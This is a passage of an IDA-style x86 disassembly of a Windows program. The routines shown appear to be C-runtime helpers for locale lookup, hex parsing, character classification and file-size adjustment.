		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_437881
		mov	dword_4E9490, 0
		mov	eax, 1
		jmp	short loc_4378D6
; ---------------------------------------------------------------------------


loc_437881:				; CODE XREF: sub_437830+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4E948C
		push	edx
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	short loc_4378C9
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4379B0
		add	esp, 4
		test	eax, eax
		jz	short loc_4378C9
		mov	ecx, [ebp+var_7C]
		mov	dword_4E9494, ecx
		mov	edx, dword_4E9494
		mov	dword_4E9478, edx
		mov	eax, dword_4E9490
		or	al, 4
		mov	dword_4E9490, eax


loc_4378C9:				; CODE XREF: sub_437830+66j
					; sub_437830+76j
		mov	eax, dword_4E9490
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4378D6:				; CODE XREF: sub_437830+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4378E0	proc near		; CODE XREF: sub_436FC0+38p
					; sub_436FC0:loc_4370C9p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4E9490
		or	eax, 104h
		mov	dword_4E9490, eax
		call	near ptr 2740B6Eh
		nop
		mov	dword_4E9494, eax
		mov	ecx, dword_4E9494
		mov	dword_4E9478, ecx
		pop	ebp
		retn
sub_4378E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437910	proc near		; CODE XREF: sub_436FC0+128p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jz	short loc_43793B
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_43793B
		push	offset off_43FE00
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jnz	short loc_437963


loc_43793B:				; CODE XREF: sub_437910+Aj
					; sub_437910+14j
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	1004h
		mov	ecx, dword_4E9494
		push	ecx
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_43795B
		xor	eax, eax
		jmp	short loc_4379A7
; ---------------------------------------------------------------------------


loc_43795B:				; CODE XREF: sub_437910+45j
		lea	edx, [ebp+var_8]
		mov	[ebp+arg_0], edx
		jmp	short loc_43799B
; ---------------------------------------------------------------------------


loc_437963:				; CODE XREF: sub_437910+29j
		push	offset off_43FDFC
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422740
		add	esp, 8
		test	eax, eax
		jnz	short loc_43799B
		push	8
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Bh
		mov	edx, dword_4E9494
		push	edx
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_437995
		xor	eax, eax
		jmp	short loc_4379A7
; ---------------------------------------------------------------------------


loc_437995:				; CODE XREF: sub_437910+7Fj
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_0], eax


loc_43799B:				; CODE XREF: sub_437910+51j
					; sub_437910+66j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421570
		add	esp, 4


loc_4379A7:				; CODE XREF: sub_437910+49j
					; sub_437910+83j
		mov	esp, ebp
		pop	ebp
		retn
sub_437910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4379B0	proc near		; CODE XREF: sub_437310+16Ep
					; sub_437830+6Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	ax, [ebp+arg_0]
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_8], 0
		jmp	short loc_4379D0
; ---------------------------------------------------------------------------


loc_4379C7:				; CODE XREF: sub_4379B0:loc_4379F4j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4379D0:				; CODE XREF: sub_4379B0+15j
		cmp	[ebp+var_8], 0Ah
		jnb	short loc_4379F6
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, word_453044[eax*2]
		cmp	edx, ecx
		jnz	short loc_4379F4
		xor	eax, eax
		jmp	short loc_4379FB
; ---------------------------------------------------------------------------


loc_4379F4:				; CODE XREF: sub_4379B0+3Ej
		jmp	short loc_4379C7
; ---------------------------------------------------------------------------


loc_4379F6:				; CODE XREF: sub_4379B0+24j
		mov	eax, 1


loc_4379FB:				; CODE XREF: sub_4379B0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_4379B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437A00	proc near		; CODE XREF: sub_437310+260p
					; sub_437310+2E6p ...

var_7C		= byte ptr -7Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 3FFh
		and	eax, 0FFFFh
		or	ah, 4
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		push	78h
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4E9498
		test	eax, eax
		jnz	short loc_437A3E
		xor	eax, eax
		jmp	short loc_437A82
; ---------------------------------------------------------------------------


loc_437A3E:				; CODE XREF: sub_437A00+38j
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_437C70
		add	esp, 4
		cmp	[ebp+arg_0], eax
		jz	short loc_437A7D
		cmp	[ebp+arg_4], 0
		jz	short loc_437A7D
		mov	ecx, dword_4E9488
		push	ecx
		call	sub_437CF0
		add	esp, 4
		mov	esi, eax
		mov	edx, dword_4E9488
		push	edx
		call	sub_41EBD0
		add	esp, 4
		cmp	esi, eax
		jnz	short loc_437A7D
		xor	eax, eax
		jmp	short loc_437A82
; ---------------------------------------------------------------------------


loc_437A7D:				; CODE XREF: sub_437A00+4Dj
					; sub_437A00+53j ...
		mov	eax, 1


loc_437A82:				; CODE XREF: sub_437A00+3Cj
					; sub_437A00+7Bj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_437A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437A90	proc near		; CODE XREF: sub_436FC0+Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_437AC9
		cmp	[ebp+var_84], 2
		jnz	short loc_437AC9
		mov	[ebp+var_98], 1
		jmp	short loc_437AD3
; ---------------------------------------------------------------------------


loc_437AC9:				; CODE XREF: sub_437A90+22j
					; sub_437A90+2Bj
		mov	[ebp+var_98], 0


loc_437AD3:				; CODE XREF: sub_437A90+37j
		mov	eax, [ebp+var_98]
		mov	esp, ebp
		pop	ebp
		retn
sub_437A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437AE0	proc near		; DATA XREF: sub_436FC0:loc_436FE2o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_8], 0


loc_437AFB:				; CODE XREF: sub_437AE0:loc_437C43j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_4]
		jg	loc_437C48
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_452BA0[ecx]
		jnz	loc_437C1E
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0Bh
		ja	short loc_437B57
		cmp	[ebp+var_14], 0Bh
		jz	loc_437BC9
		cmp	[ebp+var_14], 1
		jz	short loc_437B74
		cmp	[ebp+var_14], 3
		jz	short loc_437B96
		cmp	[ebp+var_14], 7
		jz	short loc_437BB8
		jmp	loc_437BE8
; ---------------------------------------------------------------------------


loc_437B57:				; CODE XREF: sub_437AE0+54j
		cmp	[ebp+var_14], 1001h
		jz	short loc_437B85
		cmp	[ebp+var_14], 1002h
		jz	short loc_437BA7
		cmp	[ebp+var_14], 1004h
		jz	short loc_437BDA
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437B74:				; CODE XREF: sub_437AE0+64j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset a040a ; "040a"
		mov	[ebp+var_8], ecx
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437B85:				; CODE XREF: sub_437AE0+7Ej
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_452BAC[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437B96:				; CODE XREF: sub_437AE0+6Aj
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_452BB0
		mov	[ebp+var_8], ecx
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437BA7:				; CODE XREF: sub_437AE0+87j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_452BB4[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437BB8:				; CODE XREF: sub_437AE0+70j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_452BB8
		mov	[ebp+var_8], ecx
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437BC9:				; CODE XREF: sub_437AE0+5Aj
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		add	edx, offset dword_452BBC
		mov	[ebp+var_8], edx
		jmp	short loc_437BE8
; ---------------------------------------------------------------------------


loc_437BDA:				; CODE XREF: sub_437AE0+90j
		mov	eax, [ebp+var_C]
		imul	eax, 2Ch
		add	eax, offset a1252 ; "1252"
		mov	[ebp+var_8], eax


loc_437BE8:				; CODE XREF: sub_437AE0+72j
					; sub_437AE0+92j ...
		cmp	[ebp+var_8], 0
		jz	short loc_437BF4
		cmp	[ebp+arg_C], 1
		jge	short loc_437BF6


loc_437BF4:				; CODE XREF: sub_437AE0+10Cj
		jmp	short loc_437C48
; ---------------------------------------------------------------------------


loc_437BF6:				; CODE XREF: sub_437AE0+112j
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	byte ptr [ecx-1], 0
		mov	eax, 1
		jmp	short loc_437C5E
; ---------------------------------------------------------------------------


loc_437C1E:				; CODE XREF: sub_437AE0+44j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_452BA0[edx]
		jnb	short loc_437C3A
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_437C43
; ---------------------------------------------------------------------------


loc_437C3A:				; CODE XREF: sub_437AE0+14Dj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_437C43:				; CODE XREF: sub_437AE0+158j
		jmp	loc_437AFB
; ---------------------------------------------------------------------------


loc_437C48:				; CODE XREF: sub_437AE0+21j
					; sub_437AE0:loc_437BF4j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2810000h


loc_437C5E:				; CODE XREF: sub_437AE0+13Cj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_437AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437C70	proc near		; CODE XREF: sub_437310+Ap
					; sub_4376C0+Ap ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0


loc_437C7D:				; CODE XREF: sub_437C70+6Dj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		movsx	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jz	short loc_437CDF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 61h
		jl	short loc_437CB2
		movsx	edx, [ebp+var_8]
		cmp	edx, 66h
		jg	short loc_437CB2
		mov	al, [ebp+var_8]
		add	al, 0D9h
		mov	[ebp+var_8], al
		jmp	short loc_437CCC
; ---------------------------------------------------------------------------


loc_437CB2:				; CODE XREF: sub_437C70+2Dj
					; sub_437C70+36j
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 41h
		jl	short loc_437CCC
		movsx	edx, [ebp+var_8]
		cmp	edx, 46h
		jg	short loc_437CCC
		mov	al, [ebp+var_8]
		add	al, 0F9h
		mov	[ebp+var_8], al


loc_437CCC:				; CODE XREF: sub_437C70+40j
					; sub_437C70+49j ...
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		movsx	edx, [ebp+var_8]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_4], eax
		jmp	short loc_437C7D
; ---------------------------------------------------------------------------


loc_437CDF:				; CODE XREF: sub_437C70+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_437C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437CF0	proc near		; CODE XREF: sub_437250+60p
					; sub_437640+39p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_437D0E:				; CODE XREF: sub_437CF0+5Cj
		movsx	eax, [ebp+var_4]
		cmp	eax, 41h
		jl	short loc_437D20
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 5Ah
		jle	short loc_437D32


loc_437D20:				; CODE XREF: sub_437CF0+25j
		movsx	edx, [ebp+var_4]
		cmp	edx, 61h
		jl	short loc_437D4E
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_437D4E


loc_437D32:				; CODE XREF: sub_437CF0+2Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_437D0E
; ---------------------------------------------------------------------------


loc_437D4E:				; CODE XREF: sub_437CF0+37j
					; sub_437CF0+40j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_437CF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437E60	proc near		; CODE XREF: sub_431830+4Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
sub_437E60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	8
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E96AC, 3A4h
		jnz	short loc_437ECD
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_437EE0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_437ECD
		mov	dword ptr [ebp-4], 1
		jmp	short loc_437ED4
; ---------------------------------------------------------------------------


loc_437ECD:				; CODE XREF: .XComp0:00437EAEj
					; .XComp0:00437EC2j
		mov	dword ptr [ebp-4], 0


loc_437ED4:				; CODE XREF: .XComp0:00437ECBj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437EE0	proc near		; CODE XREF: .XComp0:00437D6Bp
					; .XComp0:00437D8Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, byte_4E97C1[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_437F34
		cmp	[ebp+arg_4], 0
		jz	short loc_437F1E
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word_4522EE[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_437F25
; ---------------------------------------------------------------------------


loc_437F1E:				; CODE XREF: sub_437EE0+27j
		mov	[ebp+var_4], 0


loc_437F25:				; CODE XREF: sub_437EE0+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_437F34
		mov	[ebp+var_8], 0
		jmp	short loc_437F3B
; ---------------------------------------------------------------------------


loc_437F34:				; CODE XREF: sub_437EE0+21j
					; sub_437EE0+49j
		mov	[ebp+var_8], 1


loc_437F3B:				; CODE XREF: sub_437EE0+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_437EE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4E96A0
		jnb	short loc_437F81
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_437F91


loc_437F81:				; CODE XREF: .XComp0:00437F5Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_437FBF
; ---------------------------------------------------------------------------


loc_437F91:				; CODE XREF: .XComp0:00437F7Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_437FD0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp-4]


loc_437FBF:				; CODE XREF: .XComp0:00437F8Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437FD0	proc near		; CODE XREF: sub_433B40+44Cp
					; .XComp0:00437FA5p

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_421EE0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1004]
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101C],	0


loc_437FF6:				; CODE XREF: sub_437FD0+51j
		cmp	[ebp+arg_4], 0
		jge	short loc_43801D
		push	offset dword_43FE10
		push	0
		push	81h
		push	offset dword_43FE04
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_43801D
		int	3		; Trap to Debugger


loc_43801D:				; CODE XREF: sub_437FD0+2Aj
					; sub_437FD0+4Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_437FF6
		push	1
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430180
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		cmp	[ebp+var_100C],	0FFFFFFFFh
		jz	short loc_438061
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430180
		add	esp, 0Ch
		mov	[ebp+var_1010],	eax
		cmp	[ebp+var_1010],	0FFFFFFFFh
		jnz	short loc_438069


loc_438061:				; CODE XREF: sub_437FD0+70j
		or	eax, 0FFFFFFFFh
		jmp	loc_4381F9
; ---------------------------------------------------------------------------


loc_438069:				; CODE XREF: sub_437FD0+8Fj
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+var_1010]
		mov	[ebp+var_1018],	ecx
		cmp	[ebp+var_1018],	0
		jle	loc_438180
		push	1000h
		push	0
		mov	edx, [ebp+var_1014]
		push	edx
		call	sub_421410
		add	esp, 0Ch
		push	8000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43B180
		add	esp, 8
		mov	[ebp+var_4], eax


loc_4380AF:				; CODE XREF: sub_437FD0+198j
		cmp	[ebp+var_1018],	1000h
		jl	short loc_4380C7
		mov	[ebp+var_1020],	1000h
		jmp	short loc_4380D3
; ---------------------------------------------------------------------------


loc_4380C7:				; CODE XREF: sub_437FD0+E9j
		mov	ecx, [ebp+var_1018]
		mov	[ebp+var_1020],	ecx


loc_4380D3:				; CODE XREF: sub_437FD0+F5j
		mov	edx, [ebp+var_1020]
		mov	[ebp+var_1008],	edx
		cmp	[ebp+var_1018],	1000h
		jl	short loc_4380F7
		mov	[ebp+var_1024],	1000h
		jmp	short loc_438103
; ---------------------------------------------------------------------------


loc_4380F7:				; CODE XREF: sub_437FD0+119j
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1024],	eax


loc_438103:				; CODE XREF: sub_437FD0+125j
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+var_1014]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4305E0
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_43814F
		call	sub_42C1F0
		cmp	dword ptr [eax], 5
		jnz	short loc_438141
		call	sub_42C1E0
		mov	dword ptr [eax], 0Dh


loc_438141:				; CODE XREF: sub_437FD0+164j
		mov	ecx, [ebp+var_1008]
		mov	[ebp+var_101C],	ecx
		jmp	short loc_43816E
; ---------------------------------------------------------------------------


loc_43814F:				; CODE XREF: sub_437FD0+15Aj
		mov	edx, [ebp+var_1018]
		sub	edx, [ebp+var_1008]
		mov	[ebp+var_1018],	edx
		cmp	[ebp+var_1018],	0
		jg	loc_4380AF


loc_43816E:				; CODE XREF: sub_437FD0+17Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_43B180
		add	esp, 8
		jmp	short loc_4381DE
; ---------------------------------------------------------------------------


loc_438180:				; CODE XREF: sub_437FD0+AFj
		cmp	[ebp+var_1018],	0
		jge	short loc_4381DE
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430180
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_433550
		add	esp, 4
		push	eax
		nop
		call	near ptr 2740000h
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		mov	[ebp+var_101C],	eax
		cmp	[ebp+var_101C],	0FFFFFFFFh
		jnz	short loc_4381DE
		call	sub_42C1E0
		mov	dword ptr [eax], 0Dh
		nop
		call	near ptr 27B0F7Fh
		mov	esi, eax
		call	sub_42C1F0
		mov	[eax], esi


loc_4381DE:				; CODE XREF: sub_437FD0+1AEj
					; sub_437FD0+1B7j ...
		push	0
		mov	edx, [ebp+var_100C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430180
		add	esp, 0Ch
		mov	eax, [ebp+var_101C]


loc_4381F9:				; CODE XREF: sub_437FD0+94j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_437FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438200	proc near		; CODE XREF: sub_434EE0+53p
					; sub_434EE0+94p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_438226
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_43822F


loc_438226:				; CODE XREF: sub_438200+1Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_43822F:				; CODE XREF: sub_438200+24j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_438200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438240	proc near		; CODE XREF: sub_4383C0+77p
					; sub_4383C0+AAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_438200
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_438297
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_438200
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_438297
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax


